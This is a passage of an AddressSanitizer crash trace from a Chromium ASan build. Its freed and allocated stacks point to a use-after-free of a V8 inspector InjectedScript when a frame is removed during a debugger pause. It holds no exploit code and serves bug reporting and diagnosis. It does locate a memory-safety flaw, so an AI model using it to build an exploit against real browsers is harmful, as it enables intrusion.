    #8 0x00030c40f52c in blink::mojom::blink::DevToolsSessionStubDispatch::Accept(blink::mojom::blink::DevToolsSession*, mojo::Message*)+0x290 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xc40f52c)
    #9 0x000312accf04 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*)+0x8fc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12accf04)
    #10 0x000312ae1ebc in mojo::MessageDispatcher::Accept(mojo::Message*)+0x2f0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12ae1ebc)
    #11 0x000312ad20f8 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*)+0x148 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12ad20f8)
    #12 0x0003160e50a4 in IPC::ChannelAssociatedGroupController::AcceptOnEndpointThread(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification)+0x3e8 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x160e50a4)
    #13 0x0003160e70c8 in base::internal::Invoker<base::internal::FunctorTraits<void (IPC::ChannelAssociatedGroupController::*&&)(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification), IPC::ChannelAssociatedGroupController*&&, mojo::Message&&, IPC::(anonymous namespace)::ScopedUrgentMessageNotification&&>, base::internal::BindState<true, true, false, void (IPC::ChannelAssociatedGroupController::*)(mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification), scoped_refptr<IPC::ChannelAssociatedGroupController>, mojo::Message, IPC::(anonymous namespace)::ScopedUrgentMessageNotification>, void ()>::RunOnce(base::internal::BindStateBase*)+0x1bc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x160e70c8)
    #14 0x000312cc483c in base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+0x348 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12cc483c)
    #15 0x000312d2c508 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+0x88c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2c508)
    #16 0x000312d2b8c0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()+0x138 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2b8c0)
    #17 0x000312bab74c in base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+0x228 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12bab74c)
    #18 0x000312d2d8bc in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta)+0x380 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2d8bc)
    #19 0x000312c51a8c in base::RunLoop::Run(base::Location const&)+0x430 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12c51a8c)
    #20 0x00031c78ea10 in content::(anonymous namespace)::NestedMessageLoopRunnerImpl::Run()+0x198 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c78ea10)
    #21 0x0003210f9f98 in blink::ClientMessageLoopAdapter::RunLoop(blink::WebLocalFrameImpl*)+0x568 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x210f9f98)
    #22 0x00030679d7bc in v8_inspector::V8Debugger::handleProgramBreak(v8::Local<v8::Context>, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>, v8::debug::ExceptionType, bool)+0x6b0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x679d7bc)
    #23 0x0003046889d4 in v8::internal::Debug::OnDebugBreak(v8::internal::DirectHandle<v8::internal::FixedArray>, v8::internal::StepAction, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x594 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x46889d4)
    #24 0x0003046a0cb0 in v8::internal::Debug::HandleDebugBreak(v8::internal::IgnoreBreakMode, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x814 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x46a0cb0)
    #25 0x0003056892e0 in v8::internal::Runtime_HandleDebuggerStatement(int, unsigned long*, v8::internal::Isolate*)+0x9c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x56892e0)
    #26 0x0003f7e7bd48  (<unknown module>)
    #27 0x0003f7f87cb8  (<unknown module>)
    #28 0x0003f7dce344  (<unknown module>)
    #29 0x0003f7dce344  (<unknown module>)
    #30 0x0003f7dcb340  (<unknown module>)
    #31 0x0003f7dcb038  (<unknown module>)
    #32 0x0003047705c4 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)+0x1b90 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47705c4)
    #33 0x00030476e9a0 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>)+0x170 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x476e9a0)
    #34 0x0003043b141c in v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*)+0x3a0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x43b141c)
    #35 0x00031c8e5f78 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*)+0x590 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c8e5f78)
    #36 0x000321221b38 in blink::bindings::CallbackInvokeHelper<blink::CallbackFunctionBase, (blink::bindings::CallbackInvokeHelperMode)0, (blink::bindings::CallbackReturnTypeIsPromise)0>::Call(int, v8::Local<v8::Value>*)+0x210 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x21221b38)
    #37 0x0003212365c8 in blink::V8Function::Invoke(blink::bindings::V8ValueOrScriptWrappableAdapter, blink::BasicHeapVector<(blink::internal::HeapCollectionType)1, blink::ScriptValue, 0u> const&)+0x534 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x212365c8)
    #38 0x000321236d58 in blink::V8Function::InvokeAndReportException(blink::bindings::V8ValueOrScriptWrappableAdapter, blink::BasicHeapVector<(blink::internal::HeapCollectionType)1, blink::ScriptValue, 0u> const&)+0x184 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x21236d58)
    #39 0x0003221f2530 in blink::ScheduledAction::Execute(blink::ExecutionContext*)+0x45c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x221f2530)
    #40 0x0003221f7b28 in blink::DOMTimer::Fired()+0x500 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x221f7b28)
    #41 0x00032044613c in blink::TimerBase::RunInternal()+0xb0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x2044613c)
    #42 0x00031c85c040 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::TimerBase::*&&)(), blink::TimerBase*>, base::internal::BindState<true, true, false, void (blink::TimerBase::*)(), blink::UnretainedWrapper<blink::TimerBase>>, void ()>::RunOnce(base::internal::BindStateBase*)+0x11c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c85c040)
    #43 0x000312cc483c in base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+0x348 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12cc483c)
    #44 0x000312d2c508 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+0x88c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2c508)
    #45 0x000312d2b8c0 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()+0x138 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2b8c0)
    #46 0x000312bab74c in base::MessagePumpDefault::Run(base::MessagePump::Delegate*)+0x228 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12bab74c)
    #47 0x000312d2d868 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta)+0x32c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2d868)
    #48 0x000312c51a8c in base::RunLoop::Run(base::Location const&)+0x430 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12c51a8c)
    #49 0x00031c7a5030 in content::RendererMain(content::MainFunctionParams)+0x8b4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c7a5030)
    #50 0x00030f2e5404 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*)+0x42c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xf2e5404)
    #51 0x00030f2e7584 in content::ContentMainRunnerImpl::Run()+0x53c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xf2e7584)
    #52 0x00030f2e30d8 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*)+0x858 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xf2e30d8)
    #53 0x00030f2e35c8 in content::ContentMain(content::ContentMainParams)+0x190 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xf2e35c8)
    #54 0x000300005cb4 in ChromeMain+0x490 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x5cb4)
    #55 0x00010055cc94 in main+0x254 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Helpers/Chromium Helper (Renderer).app/Contents/MacOS/Chromium Helper (Renderer):arm64+0x100000c94)
    #56 0x00019c5b6b94 in start+0x17b8 (/usr/lib/dyld:arm64e+0x6b94)

0x6110000e9948 is located 200 bytes inside of 208-byte region [0x6110000e9880,0x6110000e9950)
freed by thread T0 here:
    #0 0x0001009b9074 in __asan_memmove+0x308c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Helpers/Chromium Helper (Renderer).app/Contents/MacOS/libclang_rt.asan_osx_dynamic.dylib:arm64+0x55074)
    #1 0x000306730f68 in std::__Cr::__hash_table<std::__Cr::__hash_value_type<int, std::__Cr::unique_ptr<v8_inspector::InjectedScript, std::__Cr::default_delete<v8_inspector::InjectedScript>>>, std::__Cr::__unordered_map_hasher<int, std::__Cr::pair<int const, std::__Cr::unique_ptr<v8_inspector::InjectedScript, std::__Cr::default_delete<v8_inspector::InjectedScript>>>, std::__Cr::hash<int>, std::__Cr::equal_to<int>>, std::__Cr::__unordered_map_equal<int, std::__Cr::pair<int const, std::__Cr::unique_ptr<v8_inspector::InjectedScript, std::__Cr::default_delete<v8_inspector::InjectedScript>>>, std::__Cr::equal_to<int>, std::__Cr::hash<int>>, std::__Cr::allocator<std::__Cr::pair<int const, std::__Cr::unique_ptr<v8_inspector::InjectedScript, std::__Cr::default_delete<v8_inspector::InjectedScript>>>>>::~__hash_table()+0xe4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x6730f68)
    #2 0x00030672fb4c in v8_inspector::InspectedContext::~InspectedContext()+0x8c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x672fb4c)
    #3 0x0003067d1d60 in std::__Cr::__shared_ptr_pointer<v8_inspector::InspectedContext*, std::__Cr::shared_ptr<v8_inspector::InspectedContext>::__shared_ptr_default_delete<v8_inspector::InspectedContext, v8_inspector::InspectedContext>, std::__Cr::allocator<v8_inspector::InspectedContext>>::__on_zero_shared()+0x2c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67d1d60)
    #4 0x0003067c83ec in v8_inspector::V8InspectorImpl::contextCollected(int, int)+0x310 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67c83ec)
    #5 0x00031e690548 in blink::MainThreadDebugger::ContextWillBeDestroyed(blink::ScriptState*)+0x250 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1e690548)
    #6 0x00031c902b44 in blink::LocalWindowProxy::DisposeContext(blink::WindowProxy::Lifecycle, blink::WindowProxy::FrameReuseStatus)+0x5ac (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c902b44)
    #7 0x00031c910b0c in blink::WindowProxyManager::ClearForClose()+0x64 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c910b0c)
    #8 0x00031d9fb040 in blink::Frame::Detach(blink::FrameDetachType)+0x430 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1d9fb040)
    #9 0x00031e0e67ec in blink::HTMLFrameOwnerElement::DisconnectContentFrame()+0x18c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1e0e67ec)
    #10 0x00031dabc674 in blink::ChildFrameDisconnector::DisconnectCollectedFrameOwners()+0x210 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1dabc674)
    #11 0x00032084070c in blink::ContainerNode::WillRemoveChild(blink::Node&)+0x25c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x2084070c)
    #12 0x00032083ece8 in blink::ContainerNode::RemoveChild(blink::Node*, blink::ExceptionState&)+0x224 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x2083ece8)
    #13 0x0003214497cc in blink::(anonymous namespace)::v8_element::RemoveOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&)+0x190 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x214497cc)
    #14 0x0003f7dd0354  (<unknown module>)
    #15 0x0003f7dce344  (<unknown module>)
    #16 0x0003f7dcb340  (<unknown module>)
    #17 0x0003f7dcb038  (<unknown module>)
    #18 0x0003047705c4 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)+0x1b90 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47705c4)
    #19 0x00030476e9a0 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>)+0x170 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x476e9a0)
    #20 0x0003047eca2c in v8::internal::ErrorUtils::FormatStackTrace(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>, v8::internal::DirectHandle<v8::internal::Object>)+0x49c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47eca2c)
    #21 0x0003047f4390 in v8::internal::ErrorUtils::GetFormattedStack(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>)+0x43c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47f4390)
    #22 0x000304483480 in v8::internal::Accessors::ErrorStackGetter(v8::FunctionCallbackInfo<v8::Value> const&)+0x124 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x4483480)
    #23 0x000304489e50 in v8::internal::FunctionCallbackArguments::CallOrConstruct(v8::internal::Isolate*, v8::internal::Tagged<v8::internal::FunctionTemplateInfo>, bool)+0x270 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x4489e50)
    #24 0x0003044886d8 in v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::DirectHandle<v8::internal::FunctionTemplateInfo>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>, v8::internal::DirectHandle<v8::internal::HeapObject>)+0x1274 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x44886d8)
    #25 0x000304770220 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)+0x17ec (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x4770220)
    #26 0x00030476e9a0 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>)+0x170 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x476e9a0)
    #27 0x0003052c16e4 in v8::internal::Object::GetPropertyWithAccessor(v8::internal::LookupIterator*)+0x6cc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x52c16e4)
    #28 0x0003052bf89c in v8::internal::Object::GetProperty(v8::internal::LookupIterator*, bool)+0x20c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x52bf89c)
    #29 0x0003056e9588 in v8::internal::Runtime::GetObjectProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, bool*)+0x178 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x56e9588)

previously allocated by thread T0 here:
    #0 0x0001009b8f84 in __asan_memmove+0x2f9c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Helpers/Chromium Helper (Renderer).app/Contents/MacOS/libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f84)
    #1 0x0003295d857c in operator new(unsigned long)+0x18 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x295d857c)
    #2 0x0003067303b0 in v8_inspector::InspectedContext::createInjectedScript(int)+0xc0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67303b0)
    #3 0x0003067d5fbc in v8_inspector::V8InspectorSessionImpl::findInjectedScript(int, v8_inspector::InjectedScript*&)+0x174 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67d5fbc)
    #4 0x00030677f8cc in v8_inspector::V8DebuggerAgentImpl::currentCallFrames(std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>>>>>*)+0x520 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x677f8cc)
    #5 0x000306767c40 in v8_inspector::V8DebuggerAgentImpl::didPause(int, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::debug::ExceptionType, bool, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x14c0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x6767c40)
    #6 0x0003067c7bbc in v8_inspector::V8InspectorImpl::forEachSession(int, std::__Cr::function<void (v8_inspector::V8InspectorSessionImpl*)> const&)+0x488 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67c7bbc)
    #7 0x00030679d6d0 in v8_inspector::V8Debugger::handleProgramBreak(v8::Local<v8::Context>, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>, v8::debug::ExceptionType, bool)+0x5c4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x679d6d0)
    #8 0x0003046889d4 in v8::internal::Debug::OnDebugBreak(v8::internal::DirectHandle<v8::internal::FixedArray>, v8::internal::StepAction, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x594 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x46889d4)
    #9 0x0003046a0cb0 in v8::internal::Debug::HandleDebugBreak(v8::internal::IgnoreBreakMode, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x814 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x46a0cb0)
    #10 0x0003056892e0 in v8::internal::Runtime_HandleDebuggerStatement(int, unsigned long*, v8::internal::Isolate*)+0x9c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x56892e0)
    #11 0x0003f7e7bd48  (<unknown module>)
    #12 0x0003f7f87cb8  (<unknown module>)
    #13 0x0003f7dce344  (<unknown module>)
    #14 0x0003f7dce344  (<unknown module>)
    #15 0x0003f7dcb340  (<unknown module>)
    #16 0x0003f7dcb038  (<unknown module>)
    #17 0x0003047705c4 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)+0x1b90 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47705c4)
    #18 0x00030476e9a0 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>)+0x170 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x476e9a0)
